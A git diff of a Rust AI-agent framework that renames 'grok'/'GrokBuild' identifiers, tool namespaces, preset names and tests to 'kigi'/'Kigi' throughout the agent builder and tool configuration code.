diff --git a/crates/codegen/kigi-acp-lib/src/channel.rs b/crates/codegen/kigi-acp-lib/src/channel.rs
index 5b47689..314f5e4 100644
--- a/crates/codegen/kigi-acp-lib/src/channel.rs
+++ b/crates/codegen/kigi-acp-lib/src/channel.rs
@@ -68,7 +68,7 @@ mod acp_send_failure_tests {
 
     fn ext_request() -> acp::ExtRequest {
         acp::ExtRequest::new(
-            "x.ai/test",
+            "kigi/test",
             serde_json::value::to_raw_value(&serde_json::json!({}))
                 .unwrap()
                 .into(),
diff --git a/crates/codegen/kigi-acp-lib/src/stdin_reader.rs b/crates/codegen/kigi-acp-lib/src/stdin_reader.rs
index 629e178..bc64df3 100644
--- a/crates/codegen/kigi-acp-lib/src/stdin_reader.rs
+++ b/crates/codegen/kigi-acp-lib/src/stdin_reader.rs
@@ -1,6 +1,6 @@
 //! Dedicated-thread reader for the ACP stdio transport's standard input.
 //!
-//! Every ACP client (VS Code extension, grok-desktop, the leader bridge) drives
+//! Every ACP client (VS Code extension, kigi-desktop, the leader bridge) drives
 //! the agent over a **persistent, bidirectional** newline-delimited JSON-RPC
 //! stream on stdio: it writes requests on the child's stdin and reads responses
 //! on stdout, keeping **stdin open for the whole session**.
diff --git a/crates/codegen/kigi-agent-lifecycle/src/local/contributors/command.rs b/crates/codegen/kigi-agent-lifecycle/src/local/contributors/command.rs
index 39f8771..854624e 100644
--- a/crates/codegen/kigi-agent-lifecycle/src/local/contributors/command.rs
+++ b/crates/codegen/kigi-agent-lifecycle/src/local/contributors/command.rs
@@ -4,7 +4,7 @@ use crate::send::contributors::command::{
     CommandAction, CommandContributor, CommandInvocation, CommandSpec,
 };
 
-/// `?Send` twin of [`CommandContributor`] for single-threaded hosts like grok build's TUI agent, whose session state is `Rc`/`RefCell`-based and can
+/// `?Send` twin of [`CommandContributor`] for single-threaded hosts like kigi build's TUI agent, whose session state is `Rc`/`RefCell`-based and can
 /// never satisfy the `Send` bounds the send flavor bakes into its boxed hook futures.
 #[async_trait(?Send)]
 pub trait LocalCommandContributor {
diff --git a/crates/codegen/kigi-agent-lifecycle/src/local/contributors/turn_input.rs b/crates/codegen/kigi-agent-lifecycle/src/local/contributors/turn_input.rs
index ad57ac6..82ffcfe 100644
--- a/crates/codegen/kigi-agent-lifecycle/src/local/contributors/turn_input.rs
+++ b/crates/codegen/kigi-agent-lifecycle/src/local/contributors/turn_input.rs
@@ -4,7 +4,7 @@ use crate::send::contributors::turn_input::{
     TurnInputContext, TurnInputContributor, TurnInputFragment,
 };
 
-/// `?Send` twin of [`TurnInputContributor`] for single-threaded hosts like grok build's TUI agent, whose session state is `Rc`/`RefCell`-based
+/// `?Send` twin of [`TurnInputContributor`] for single-threaded hosts like kigi build's TUI agent, whose session state is `Rc`/`RefCell`-based
 /// and can never satisfy the `Send` bounds the send flavor bakes into its boxed hook futures.
 #[async_trait(?Send)]
 pub trait LocalTurnInputContributor {
diff --git a/crates/codegen/kigi-agent-lifecycle/src/local/contributors/turn_lifecycle.rs b/crates/codegen/kigi-agent-lifecycle/src/local/contributors/turn_lifecycle.rs
index 890f3d4..9915fdc 100644
--- a/crates/codegen/kigi-agent-lifecycle/src/local/contributors/turn_lifecycle.rs
+++ b/crates/codegen/kigi-agent-lifecycle/src/local/contributors/turn_lifecycle.rs
@@ -4,7 +4,7 @@ use crate::send::contributors::turn_lifecycle::{
     TurnAbortInput, TurnDoneInput, TurnErrorInput, TurnLifecycleContributor, TurnStartInput,
 };
 
-/// `?Send` twin of [`TurnLifecycleContributor`] for single-threaded hosts like grok build's TUI
+/// `?Send` twin of [`TurnLifecycleContributor`] for single-threaded hosts like kigi build's TUI
 /// agent, whose session state is `Rc`/`RefCell`-based and can never satisfy the `Send` bounds the
 /// send flavor bakes into its boxed hook futures.
 #[async_trait(?Send)]
diff --git a/crates/codegen/kigi-agent/README.md b/crates/codegen/kigi-agent/README.md
index 33ea023..80d5798 100644
--- a/crates/codegen/kigi-agent/README.md
+++ b/crates/codegen/kigi-agent/README.md
@@ -234,7 +234,7 @@ Agent definitions are discovered from multiple locations with priority:
 2. **User-level**: `~/.kigi/agents/*.md`
 3. **Compat paths** (lowest priority): additional vendor agent
    directories under the user home (when enabled)
-4. **Built-in**: `default_grok_build()`, `browser_use()`
+4. **Built-in**: `default_kigi()`, `browser_use()`
 
 Name-based dedup ensures the highest-priority definition wins. For
 example, a project `.kigi/agents/code-reviewer.md` shadows a
@@ -275,7 +275,7 @@ user-level definition with the same name.
 
 | Name | Prompt Mode | Description |
 |---|---|---|
-| `grok-build` | extend | Default agent for software engineering tasks |
+| `kigi` | extend | Default agent for software engineering tasks |
 | `browser-use` | full | Web browsing and interaction agent |
 
 ## Error Handling
diff --git a/crates/codegen/kigi-agent/src/builder.rs b/crates/codegen/kigi-agent/src/builder.rs
index 40109fa..b7793c0 100644
--- a/crates/codegen/kigi-agent/src/builder.rs
+++ b/crates/codegen/kigi-agent/src/builder.rs
@@ -15,8 +15,8 @@ use kigi_tools::types::tool::ToolKind;
 use std::collections::HashMap;
 use std::path::PathBuf;
 use std::sync::Arc;
-/// The Grok [`ToolKind`] a vendor-compat `tools:` allowlist entry resolves to, so
-/// a plugin's upstream allowlist still binds. Backed by the shared vendor-to-Grok
+/// The Kigi [`ToolKind`] a vendor-compat `tools:` allowlist entry resolves to, so
+/// a plugin's upstream allowlist still binds. Backed by the shared vendor-to-Kigi
 /// tool registry in `kigi-tools` (also used by the hook matcher).
 fn claude_tool_kind(name: &str) -> Option<ToolKind> {
     kigi_tools::types::kind_for(name)
@@ -55,7 +55,7 @@ pub struct AgentBuilder {
     notification_handle: ToolNotificationHandle,
     owner_session_id: Option<String>,
     parent_scheduler_handle:
-        Option<kigi_tools::implementations::grok_build::scheduler::types::SchedulerHandle>,
+        Option<kigi_tools::implementations::kigi::scheduler::types::SchedulerHandle>,
     /// The agent definition — set via from_definition() or built up
     /// via individual with_*() calls.
     definition: Option<AgentDefinition>,
@@ -91,10 +91,10 @@ pub struct AgentBuilder {
     /// tools for execution by the agentic sampler, instead of being
     /// registered as local Function tools.
     backend_search: bool,
-    web_fetch_config: kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig,
+    web_fetch_config: kigi_tools::implementations::kigi::web_fetch::WebFetchConfig,
     lsp: Option<std::sync::Arc<dyn kigi_tools::implementations::lsp::LspBackend>>,
     app_builder_deployer_config:
-        kigi_tools::implementations::grok_build::deploy_app::AppBuilderDeployerConfig,
+        kigi_tools::implementations::kigi::deploy_app::AppBuilderDeployerConfig,
     write_file_enabled: bool,
     subagents_enabled: bool,
     ask_user_question_enabled: bool,
@@ -135,27 +135,21 @@ pub struct AgentBuilder {
 /// Ensure plan mode tools (`enter_plan_mode`, `exit_plan_mode`,
 /// `ask_user_question`) are present in the tool config.
 fn ensure_plan_mode_tools(tool_config: &mut kigi_tools::registry::types::ToolServerConfig) {
-    use kigi_tools::implementations::grok_build;
+    use kigi_tools::implementations::kigi;
     let existing: std::collections::HashSet<&str> =
         tool_config.tools.iter().map(|tc| tc.id.as_str()).collect();
-    let missing_enter = !existing.contains("GrokBuild:enter_plan_mode");
-    let missing_exit = !existing.contains("GrokBuild:exit_plan_mode");
-    let missing_ask = !existing.contains("GrokBuild:ask_user_question");
+    let missing_enter = !existing.contains("Kigi:enter_plan_mode");
+    let missing_exit = !existing.contains("Kigi:exit_plan_mode");
+    let missing_ask = !existing.contains("Kigi:ask_user_question");
     drop(existing);
     if missing_enter {
-        tool_config
-            .tools
-            .push((&grok_build::EnterPlanModeTool).into());
+        tool_config.tools.push((&kigi::EnterPlanModeTool).into());
     }
     if missing_exit {
-        tool_config
-            .tools
-            .push((&grok_build::ExitPlanModeTool).into());
+        tool_config.tools.push((&kigi::ExitPlanModeTool).into());
     }
     if missing_ask {
-        tool_config
-            .tools
-            .push((&grok_build::AskUserQuestionTool).into());
+        tool_config.tools.push((&kigi::AskUserQuestionTool).into());
     }
 }
 /// Merge a shell-resolved params map into every matching tool's
@@ -401,7 +395,7 @@ impl AgentBuilder {
     /// Share the parent's scheduler handle so scheduled tasks survive subagent exit.
     pub fn with_parent_scheduler_handle(
         mut self,
-        handle: kigi_tools::implementations::grok_build::scheduler::types::SchedulerHandle,
+        handle: kigi_tools::implementations::kigi::scheduler::types::SchedulerHandle,
     ) -> Self {
         self.parent_scheduler_handle = Some(handle);
         self
@@ -435,7 +429,7 @@ impl AgentBuilder {
     /// `KIGI_WEB_FETCH` env var.
     pub fn with_web_fetch_config(
         mut self,
-        config: kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig,
+        config: kigi_tools::implementations::kigi::web_fetch::WebFetchConfig,
     ) -> Self {
         self.web_fetch_config = config;
         self
@@ -450,7 +444,7 @@ impl AgentBuilder {
     /// Set the deploy service configuration.
     pub fn with_app_builder_deployer_config(
         mut self,
-        config: kigi_tools::implementations::grok_build::deploy_app::AppBuilderDeployerConfig,
+        config: kigi_tools::implementations::kigi::deploy_app::AppBuilderDeployerConfig,
     ) -> Self {
         self.app_builder_deployer_config = config;
         self
@@ -501,14 +495,14 @@ impl AgentBuilder {
         self.subagents_enabled = enabled;
         self
     }
-    /// Set public model slugs advertised in the GrokBuild Task description.
+    /// Set public model slugs advertised in the Kigi Task description.
     pub fn with_task_model_slugs(mut self, slugs: Vec<String>) -> Self {
         self.task_model_slugs = slugs;
         self
     }
     /// Enable or disable the `ask_user_question` tool.
     ///
-    /// When disabled, `GrokBuild:ask_user_question` is stripped from the
+    /// When disabled, `Kigi:ask_user_question` is stripped from the
     /// agent's tool config after `ensure_plan_mode_tools` injection, so
     /// the model cannot ask the user structured questions regardless of
     /// which built-in profile is in use. Driven by the shell's resolved gate
@@ -537,7 +531,7 @@ impl AgentBuilder {
     }
     /// Set the skills config (custom paths, ignore globs) from config.toml.
     /// Without this, only auto-discovered skills (cwd/.kigi/skills, ~/.kigi/skills)
-    /// are included — custom paths added via `x.ai/skills/add` would be ignored.
+    /// are included — custom paths added via `kigi/skills/add` would be ignored.
     pub fn with_skills_config(mut self, config: crate::prompt::skills::SkillsConfig) -> Self {
         self.skills_config = config;
         self
@@ -585,7 +579,7 @@ impl AgentBuilder {
         if let Some(ref def) = self.definition {
             return def.clone();
         }
-        let mut def = AgentDefinition::default_grok_build();
+        let mut def = AgentDefinition::default_kigi();
         if let Some(ref name) = self.name {
             def.name = name.clone();
         }
@@ -668,17 +662,17 @@ impl AgentBuilder {
                     .push((&memory::get_tool::MemoryGetImpl).into());
             }
             if self.web_search_config.is_enabled() {
-                use kigi_tools::implementations::grok_build;
-                tool_config.tools.push((&grok_build::WebSearchTool).into());
+                use kigi_tools::implementations::kigi;
+                tool_config.tools.push((&kigi::WebSearchTool).into());
             }
             if self.web_fetch_config.is_enabled() {
-                use kigi_tools::implementations::grok_build;
-                tool_config.tools.push((&grok_build::WebFetchTool).into());
+                use kigi_tools::implementations::kigi;
+                tool_config.tools.push((&kigi::WebFetchTool).into());
             }
             if self.lsp.is_some() {
                 tool_config
                     .tools
-                    .push((&kigi_tools::implementations::grok_build::LspTool).into());
+                    .push((&kigi_tools::implementations::kigi::LspTool).into());
             }
             let has_write_tool = tool_config
                 .tools
@@ -692,13 +686,13 @@ impl AgentBuilder {
             ensure_plan_mode_tools(&mut tool_config);
         }
         if self.memory_backend.is_none() {
-            let grok_build_ns = kigi_tools::types::tool::ToolNamespace::GrokBuild.to_string();
+            let kigi_ns = kigi_tools::types::tool::ToolNamespace::Kigi.to_string();
             let mem_search_id = format!(
-                "{grok_build_ns}:{}",
+                "{kigi_ns}:{}",
                 kigi_tools::implementations::memory::MEMORY_SEARCH_TOOL_NAME
             );
             let mem_get_id = format!(
-                "{grok_build_ns}:{}",
+                "{kigi_ns}:{}",
                 kigi_tools::implementations::memory::MEMORY_GET_TOOL_NAME
             );
             tool_config
@@ -708,13 +702,13 @@ impl AgentBuilder {
         if !self.ask_user_question_enabled {
             let ask_user_id = format!(
                 "{}:ask_user_question",
-                kigi_tools::types::tool::ToolNamespace::GrokBuild,
+                kigi_tools::types::tool::ToolNamespace::Kigi,
             );
             tool_config.tools.retain(|tc| tc.id != ask_user_id);
         }
         let task_tool_id = format!(
             "{}:{}",
-            kigi_tools::types::tool::ToolNamespace::GrokBuild,
+            kigi_tools::types::tool::ToolNamespace::Kigi,
             "task"
         );
         let mut task_stripped = false;
@@ -762,8 +756,8 @@ impl AgentBuilder {
                                 .unwrap_or(true))
                 })
             };
-            if !has_satisfier(ToolNamespace::GrokBuild, "run_terminal_cmd", true)
-                && !has_satisfier(ToolNamespace::GrokBuildConcise, "run_terminal_cmd", true)
+            if !has_satisfier(ToolNamespace::Kigi, "run_terminal_cmd", true)
+                && !has_satisfier(ToolNamespace::KigiConcise, "run_terminal_cmd", true)
                 && !has_satisfier(ToolNamespace::OpenCode, "bash", false)
             {
                 let lifecycle = ["get_task_output", "wait_tasks", "kill_task"];
@@ -772,30 +766,22 @@ impl AgentBuilder {
                     .retain(|tc| !lifecycle.contains(&short_tool_name(&tc.id)));
             }
         }
-        if let kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig::Enabled {
-            ref params,
-        } = self.web_fetch_config
+        if let kigi_tools::implementations::kigi::web_fetch::WebFetchConfig::Enabled { ref params } =
+            self.web_fetch_config
             && let Ok(params_value) = serde_json::to_value(params)
             && let Some(obj) = params_value.as_object()
         {
-            merge_tool_params(&mut tool_config, &["GrokBuild:web_fetch"], obj);
+            merge_tool_params(&mut tool_config, &["Kigi:web_fetch"], obj);
         }
         if let Some(ref bash_params) = self.bash_params_json {
             merge_tool_params(
                 &mut tool_config,
-                &[
-                    "GrokBuild:run_terminal_cmd",
-                    "GrokBuildConcise:run_terminal_cmd",
-                ],
+                &["Kigi:run_terminal_cmd", "KigiConcise:run_terminal_cmd"],
                 bash_params,
             );
         }
         if let Some(ref ask_params) = self.ask_user_question_params_json {
-            merge_tool_params(
-                &mut tool_config,
-                &["GrokBuild:ask_user_question"],
-                ask_params,
-            );
+            merge_tool_params(&mut tool_config, &["Kigi:ask_user_question"], ask_params);
         }
         if !definition.disallowed_tools.is_empty() {
             let before: std::collections::HashSet<String> =
@@ -878,7 +864,7 @@ impl AgentBuilder {
                 tracing::warn!(
                     agent = % definition.name, unresolved = ? unresolved, allowed = ?
                     definition.tools,
-                    "tools allowlist had unmappable entries; keeping full grok toolset"
+                    "tools allowlist had unmappable entries; keeping full kigi toolset"
                 );
             }
         }
@@ -1419,7 +1405,7 @@ mod tests {
             .contains("If the user does not explicitly request a model, omit `${{ params.task.model }}` to inherit the parent model.")
         );
         assert!(!desc.contains("Available model slugs:"));
-        assert!(!desc.contains(concat!("grok", " models")));
+        assert!(!desc.contains(concat!("kigi", " models")));
     }
     #[test]
     fn build_task_description_handles_empty_model_catalog() {
@@ -1431,7 +1417,7 @@ mod tests {
         let desc = build_task_description(&subagents, &[]);
         assert!(desc.contains("No explicit model slugs are currently available."));
         assert!(desc.contains("Omit `${{ params.task.model }}` to inherit the parent model."));
-        assert!(!desc.contains(concat!("grok", " models")));
+        assert!(!desc.contains(concat!("kigi", " models")));
     }
     #[test]
     fn task_model_guidance_resolves_model_param_override() {
@@ -1525,62 +1511,62 @@ mod tests {
         }
         let cases: &[PagerFlagCase] = &[
             PagerFlagCase {
-                label: "grok-build / subagents+ask_user",
-                profile: AgentDefinition::default_grok_build,
+                label: "kigi / subagents+ask_user",
+                profile: AgentDefinition::default_kigi,
                 subagents: true,
                 ask_user: true,
             },
             PagerFlagCase {
-                label: "grok-build / subagents / no-ask-user",
-                profile: AgentDefinition::default_grok_build,
+                label: "kigi / subagents / no-ask-user",
+                profile: AgentDefinition::default_kigi,
                 subagents: true,
                 ask_user: false,
             },
             PagerFlagCase {
-                label: "grok-build / no-subagents / ask_user",
-                profile: AgentDefinition::default_grok_build,
+                label: "kigi / no-subagents / ask_user",
+                profile: AgentDefinition::default_kigi,
                 subagents: false,
                 ask_user: true,
             },
             PagerFlagCase {
-                label: "grok-build / no-subagents / no-ask-user",
-                profile: AgentDefinition::default_grok_build,
+                label: "kigi / no-subagents / no-ask-user",
+                profile: AgentDefinition::default_kigi,
                 subagents: false,
                 ask_user: false,
             },
             PagerFlagCase {
-                label: "grok-build-ask-user / subagents",
-                profile: AgentDefinition::grok_build_ask_user,
+                label: "kigi-ask-user / subagents",
+                profile: AgentDefinition::kigi_ask_user,
                 subagents: true,
                 ask_user: true,
             },
             PagerFlagCase {
-                label: "grok-build-ask-user / no-subagents",
-                profile: AgentDefinition::grok_build_ask_user,
+                label: "kigi-ask-user / no-subagents",
+                profile: AgentDefinition::kigi_ask_user,
                 subagents: false,
                 ask_user: true,
             },
             PagerFlagCase {
-                label: "grok-build-plan",
-                profile: AgentDefinition::grok_build_plan,
+                label: "kigi-plan",
+                profile: AgentDefinition::kigi_plan,
                 subagents: true,
                 ask_user: true,
             },
             PagerFlagCase {
-                label: "grok-build-plan / no-ask-user",
-                profile: AgentDefinition::grok_build_plan,
+                label: "kigi-plan / no-ask-user",
+                profile: AgentDefinition::kigi_plan,
                 subagents: true,
                 ask_user: false,
             },
             PagerFlagCase {
-                label: "grok-build-plan-no-subagents",
-                profile: AgentDefinition::grok_build_plan_no_subagents,
+                label: "kigi-plan-no-subagents",
+                profile: AgentDefinition::kigi_plan_no_subagents,
                 subagents: false,
                 ask_user: true,
             },
             PagerFlagCase {
-                label: "grok-build-plan-no-subagents / no-ask-user",
-                profile: AgentDefinition::grok_build_plan_no_subagents,
+                label: "kigi-plan-no-subagents / no-ask-user",
+                profile: AgentDefinition::kigi_plan_no_subagents,
                 subagents: false,
                 ask_user: false,
             },
@@ -1629,7 +1615,7 @@ mod tests {
     async fn curated_empty_toolset_fails_agent_build() {
         use kigi_tools::computer::local::LocalTerminalBackend;
         use kigi_tools::notification::ToolNotificationHandle;
-        let mut profile = crate::config::AgentDefinition::default_grok_build();
+        let mut profile = crate::config::AgentDefinition::default_kigi();
         profile.tool_config = Default::default();
         profile.inject_default_tools = false;
         let result = AgentBuilder::new(
@@ -1657,16 +1643,16 @@ mod tests {
     #[tokio::test]
     async fn plan_mode_injected_ask_user_question_receives_params() {
         use kigi_tools::computer::local::LocalTerminalBackend;
-        use kigi_tools::implementations::grok_build::ask_user_question::AskUserQuestionParams;
+        use kigi_tools::implementations::kigi::ask_user_question::AskUserQuestionParams;
         use kigi_tools::notification::ToolNotificationHandle;
         use kigi_tools::types::resources::Params;
-        let profile = crate::config::AgentDefinition::default_grok_build();
+        let profile = crate::config::AgentDefinition::default_kigi();
         assert!(
             !profile
                 .tool_config
                 .tools
                 .iter()
-                .any(|tc| tc.id == "GrokBuild:ask_user_question"),
+                .any(|tc| tc.id == "Kigi:ask_user_question"),
             "test premise: the profile must not pre-declare ask_user_question"
         );
         let mut params = serde_json::Map::new();
@@ -1693,7 +1679,7 @@ mod tests {
     async fn build_with_tools(tools: Vec<String>, disallowed: Vec<String>) -> crate::agent::Agent {
         use kigi_tools::computer::local::LocalTerminalBackend;
         use kigi_tools::notification::ToolNotificationHandle;
-        let mut def = crate::config::AgentDefinition::default_grok_build();
+        let mut def = crate::config::AgentDefinition::default_kigi();
         def.tools = tools;
         def.disallowed_tools = disallowed;
         AgentBuilder::new(
@@ -1714,7 +1700,7 @@ mod tests {
     ) -> Vec<String> {
         use kigi_tools::computer::local::LocalTerminalBackend;
         use kigi_tools::notification::ToolNotificationHandle;
-        let mut def = crate::config::AgentDefinition::default_grok_build();
+        let mut def = crate::config::AgentDefinition::default_kigi();
         def.tools = own_tools;
         def.session_tools_allowlist = Some(session_allow);
         let agent = AgentBuilder::new(
@@ -1791,7 +1777,7 @@ mod tests {
         let mut def = crate::config::AgentDefinition::general_purpose();
         assert!(def.session_tools_allowed("read_file"));
         def.session_tools_allowlist = Some(vec!["read_file".into()]);
-        assert!(def.session_tools_allowed("GrokBuild:read_file"));
+        assert!(def.session_tools_allowed("Kigi:read_file"));
         assert!(!def.session_tools_allowed("grep"));
         def.session_tools_denylist = Some(vec!["read_file".into()]);
         assert!(!def.session_tools_allowed("read_file"));
@@ -1848,7 +1834,7 @@ mod tests {
         assert_eq!(agent.definition().allowed_subagent_types, None);
         use kigi_tools::computer::local::LocalTerminalBackend;
         use kigi_tools::notification::ToolNotificationHandle;
-        let mut def = crate::config::AgentDefinition::default_grok_build();
+        let mut def = crate::config::AgentDefinition::default_kigi();
         def.disallowed_tools = vec!["Agent".into()];
         let agent = AgentBuilder::new(
             std::env::temp_dir(),
@@ -1864,10 +1850,10 @@ mod tests {
     #[tokio::test]
     async fn spawning_blocked_disables_all_background_bash_modes() {
         use kigi_tools::computer::local::LocalTerminalBackend;
-        use kigi_tools::implementations::grok_build::bash::BashParams;
+        use kigi_tools::implementations::kigi::bash::BashParams;
         use kigi_tools::notification::ToolNotificationHandle;
         use kigi_tools::types::resources::Params;
-        let mut definition = crate::config::AgentDefinition::default_grok_build();
+        let mut definition = crate::config::AgentDefinition::default_kigi();
         definition.tools = vec!["run_terminal_cmd".into()];
         let bash_params = serde_json::json!(
             { "max_timeout_secs" : 36_000.0, "auto_background_on_timeout" : true,
@@ -1907,10 +1893,10 @@ mod tests {
             Some(vec!["worker".into()])
         );
     }
-    /// Compat allowlist names (`Read`, `Bash`, `Grep`) map to their Grok
+    /// Compat allowlist names (`Read`, `Bash`, `Grep`) map to their Kigi
     /// equivalents by `ToolKind` — a real restricted toolset, not zero tools.
     #[tokio::test]
-    async fn claude_tool_names_map_to_grok_equivalents() {
+    async fn claude_tool_names_map_to_kigi_equivalents() {
         let tools = vec!["Read".into(), "Bash".into(), "Grep".into()];
         let agent = build_with_tools(tools, vec![]).await;
         let names: Vec<String> = agent
@@ -1936,7 +1922,7 @@ mod tests {
             "Edit must be excluded by the allowlist; got: {names:?}"
         );
     }
-    /// Shell, LSP, ask, and task-lifecycle tool names resolve to their grok
+    /// Shell, LSP, ask, and task-lifecycle tool names resolve to their kigi
     /// `ToolKind`, so those allowlists are honored instead of failing open.
     #[test]
     fn shell_lsp_ask_and_task_tool_names_map() {
@@ -2045,7 +2031,7 @@ mod tests {
         );
     }
     /// A restrictive allowlist must never strip MCP access. Compat allowlists
-    /// treat `mcp__*` as always-on, so grok keeps the MCP meta-tools
+    /// treat `mcp__*` as always-on, so kigi keeps the MCP meta-tools
     /// (`search_tool` / `use_tool`) regardless of what the allowlist names.
     #[tokio::test]
     async fn restrictive_allowlist_keeps_mcp_access() {
@@ -2098,10 +2084,10 @@ mod tests {
     #[tokio::test]
     async fn requested_enabled_web_tools_survive_allowlist() {
         use kigi_tools::computer::local::LocalTerminalBackend;
-        use kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig;
+        use kigi_tools::implementations::kigi::web_fetch::WebFetchConfig;
         use kigi_tools::implementations::web_search::WebSearchConfig;
         use kigi_tools::notification::ToolNotificationHandle;
-        let mut definition = crate::config::AgentDefinition::default_grok_build();
+        let mut definition = crate::config::AgentDefinition::default_kigi();
         definition.tools = vec![
             "read_file".into(),
             "grep".into(),
@@ -2139,7 +2125,7 @@ mod tests {
             assert!(!names.contains(&excluded.to_string()), "got: {names:?}");
         }
     }
-    /// grok-build toolsets have no Skill tool — skills are read from
+    /// kigi toolsets have no Skill tool — skills are read from
     /// `SKILL.md` via `read_file` — so a compat `Skill` allowlist entry grants
     /// toolset.
     #[tokio::test]
@@ -2209,7 +2195,7 @@ mod tests {
             "no full-toolset fallback — unlisted tools must be excluded; got: {names:?}"
         );
     }
-    /// Compat `ToolSearch` meta-tool maps to grok's `search_tool` (MCP
+    /// Compat `ToolSearch` meta-tool maps to kigi's `search_tool` (MCP
     /// is a filter (`retain`) over a `HashSet` of kinds, not an inserter — so the
     /// falling back to the full toolset.
     #[tokio::test]
@@ -2247,7 +2233,7 @@ mod tests {
         } else {
             WebSearchConfig::Disabled
         };
-        let mut def = crate::config::AgentDefinition::default_grok_build();
+        let mut def = crate::config::AgentDefinition::default_kigi();
         def.disallowed_tools = disallowed_tools.iter().map(|s| s.to_string()).collect();
         AgentBuilder::new(
             std::env::temp_dir(),
diff --git a/crates/codegen/kigi-agent/src/config.rs b/crates/codegen/kigi-agent/src/config.rs
index 2d64c5e..fb5e09e 100644
--- a/crates/codegen/kigi-agent/src/config.rs
+++ b/crates/codegen/kigi-agent/src/config.rs
@@ -3,8 +3,8 @@ use crate::error::AgentBuildError;
 use crate::prompt::context::TemplateOverride;
 use crate::prompt::user_message::UserMessageTemplate;
 use kigi_tools::implementations::codex;
-use kigi_tools::implementations::grok_build;
-use kigi_tools::implementations::grok_build_concise;
+use kigi_tools::implementations::kigi;
+use kigi_tools::implementations::kigi_concise;
 use kigi_tools::implementations::memory;
 use kigi_tools::implementations::opencode;
 use kigi_tools::implementations::search_tool;
@@ -91,7 +91,7 @@ fn registered_public_toolset_preset_names() -> Vec<String> {
         .map(|(name, _)| name.clone())
         .collect()
 }
-/// Orchestrator-specific prompt body appended to the standard GrokBuild
+/// Orchestrator-specific prompt body appended to the standard Kigi
 /// system prompt (`prompt.md`). Instructs the GBL model to delegate
 /// coding and exploration work to subagents.
 const ORCHESTRATOR_PROMPT_BODY: &str = "\
@@ -143,64 +143,64 @@ Write prompts the way you would brief a senior engineer:
 /// Bash tool with clearer model-facing names:
 /// `run_terminal_cmd` → `run_terminal_command`, `is_background` → `background`.
 fn bash_tool_config() -> ToolConfig {
-    ToolConfig::from(&grok_build::BashTool)
+    ToolConfig::from(&kigi::BashTool)
         .with_name("run_terminal_command")
         .with_param_rename("is_background", "background")
 }
 /// Task/subagent tool with clearer model-facing names:
 /// `task` → `spawn_subagent`, `run_in_background` → `background`.
 fn task_tool_config() -> ToolConfig {
-    ToolConfig::from(&grok_build::TaskTool)
+    ToolConfig::from(&kigi::TaskTool)
         .with_name("spawn_subagent")
         .with_param_rename("run_in_background", "background")
 }
 /// Task output tool renamed for clarity:
 /// `get_task_output` → `get_command_or_subagent_output`.
 fn task_output_tool_config() -> ToolConfig {
-    ToolConfig::from(&grok_build::TaskOutputTool).with_name("get_command_or_subagent_output")
+    ToolConfig::from(&kigi::TaskOutputTool).with_name("get_command_or_subagent_output")
 }
 /// `wait_tasks` → `wait_commands_or_subagents`.
 fn wait_tasks_tool_config() -> ToolConfig {
-    ToolConfig::from(&grok_build::WaitTasksTool).with_name("wait_commands_or_subagents")
+    ToolConfig::from(&kigi::WaitTasksTool).with_name("wait_commands_or_subagents")
 }
 /// `kill_task` → `kill_command_or_subagent`.
 fn kill_task_tool_config() -> ToolConfig {
-    ToolConfig::from(&grok_build::KillTaskTool).with_name("kill_command_or_subagent")
+    ToolConfig::from(&kigi::KillTaskTool).with_name("kill_command_or_subagent")
 }
 /// Complete workspace-executable toolset for hub registration.
 ///
-/// Extends `default_grok_build_toolset()` with tools that are dynamically
+/// Extends `default_kigi_toolset()` with tools that are dynamically
 /// injected by `AgentBuilder::build()` or only available in specific modes.
 /// In proxy mode, the workspace server executes ALL tools — the shell has
 /// zero local dispatch.
-pub fn workspace_grok_build_toolset() -> ToolServerConfig {
-    let mut tools = default_grok_build_toolset().tools;
+pub fn workspace_kigi_toolset() -> ToolServerConfig {
+    let mut tools = default_kigi_toolset().tools;
     tools.push((&opencode::OpenCodeWriteTool).into());
-    tools.push((&grok_build::EnterPlanModeTool).into());
-    tools.push((&grok_build::ExitPlanModeTool).into());
-    tools.push((&grok_build::AskUserQuestionTool).into());
-    tools.push((&grok_build::WebSearchTool).into());
-    tools.push((&grok_build::WebFetchTool).into());
+    tools.push((&kigi::EnterPlanModeTool).into());
+    tools.push((&kigi::ExitPlanModeTool).into());
+    tools.push((&kigi::AskUserQuestionTool).into());
+    tools.push((&kigi::WebSearchTool).into());
+    tools.push((&kigi::WebFetchTool).into());
     tools.push((&memory::search_tool::MemorySearchImpl).into());
     tools.push((&memory::get_tool::MemoryGetImpl).into());
-    tools.push((&grok_build::LspTool).into());
+    tools.push((&kigi::LspTool).into());
     ToolServerConfig {
         tools,
         behavior_preset: None,
     }
 }
-/// Toolset for the `grok-computer` (workspace/sandbox) preset.
-fn grok_computer_toolset() -> ToolServerConfig {
+/// Toolset for the `kigi-computer` (workspace/sandbox) preset.
+fn kigi_computer_toolset() -> ToolServerConfig {
     #[allow(unused_mut)]
     let mut tools = vec![
         bash_tool_config(),
-        (&grok_build::ReadFileTool).into(),
-        (&grok_build::SearchReplaceTool).into(),
+        (&kigi::ReadFileTool).into(),
+        (&kigi::SearchReplaceTool).into(),
         (&opencode::OpenCodeWriteTool).into(),
-        (&grok_build::ListDirTool).into(),
-        (&grok_build::GrepTool).into(),
-        (&grok_build::KillTerminalCommandTool).into(),
-        (&grok_build::GetTerminalCommandOutputTool).into(),
+        (&kigi::ListDirTool).into(),
+        (&kigi::GrepTool).into(),
+        (&kigi::KillTerminalCommandTool).into(),
+        (&kigi::GetTerminalCommandOutputTool).into(),
     ];
     ToolServerConfig {
         tools,
@@ -215,13 +215,13 @@ fn grok_computer_toolset() -> ToolServerConfig {
 /// Native (in-crate) toolset presets.
 fn native_toolset_presets() -> Vec<(&'static str, ToolServerConfig)> {
     vec![
-        ("grok-build", workspace_grok_build_toolset()),
-        ("grok-build-concise", grok_build_concise_toolset()),
-        ("grok-build-plan", grok_build_plan_toolset()),
+        ("kigi", workspace_kigi_toolset()),
+        ("kigi-concise", kigi_concise_toolset()),
+        ("kigi-plan", kigi_plan_toolset()),
         ("codex", codex_toolset()),
         ("explore", explore_toolset()),
         ("plan", plan_toolset()),
-        ("grok-computer", grok_computer_toolset()),
+        ("kigi-computer", kigi_computer_toolset()),
     ]
 }
 /// Every named **public** toolset preset (native + externally registered public
@@ -257,46 +257,46 @@ pub fn toolset_for_preset(preset: &str) -> Option<ToolServerConfig> {
